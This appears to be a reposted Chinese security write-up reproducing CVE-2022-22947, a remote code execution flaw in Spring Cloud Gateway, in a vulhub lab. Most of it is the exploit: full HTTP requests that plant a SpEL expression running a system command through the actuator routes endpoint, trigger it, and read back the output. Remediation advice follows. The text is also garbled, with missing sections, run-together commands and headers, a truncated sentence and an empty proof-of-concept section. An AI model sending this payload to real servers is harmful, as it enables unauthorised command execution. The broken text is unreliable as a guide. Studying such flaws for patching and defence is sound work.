一、漏洞描述
CVE ID CVE-2022-22947
等级 严重
Spring Cloud Gateway <3.1.1
Spring Cloud Gateway <3.0.7
Spring Cloud Gateway 已不再更新的版本
四、漏洞复现
1、环境搭建并启动
git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947cd CVE-2022-22947docker-compose up -d
2、添加恶意路由
发送如下数据包，添加一个包含恶意SpEL表达式的路由
POST /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.245.133:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 333{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"}}],"uri": "http://example.com"}
3、发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行
POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.245.133:8080Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Language: enAccept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length:0
4、发送如下数据包即可查看执行结
GET /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.245.133:8080Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Language: enAccept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 0Connection: close
5、poc/exp验证
五、修复建议
1、目前官方已发布修复版本修复了该漏洞，请受影响的用户升级到安全版本：
https://github.com/spring-cloud/spring-cloud-gateway/tags
2、无法及时升级的用户，可参考官方提供的修复建议进行缓解：
a. 如果不需要Gateway Actuator 端点，通过 management.endpoint.gateway.enabled: false 禁用它；
b. 如果需要Actuator，使用Spring Security 对其进行防护，具体可参考官方说明。
参考：
1.https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947
2.https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security
3.https://blog.csdn.net/dust_hk/article/details/123281805
原文始发于微信公众号（瑞不可当）：CVE-2022-22947 SpringCloud GateWay SPEL RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论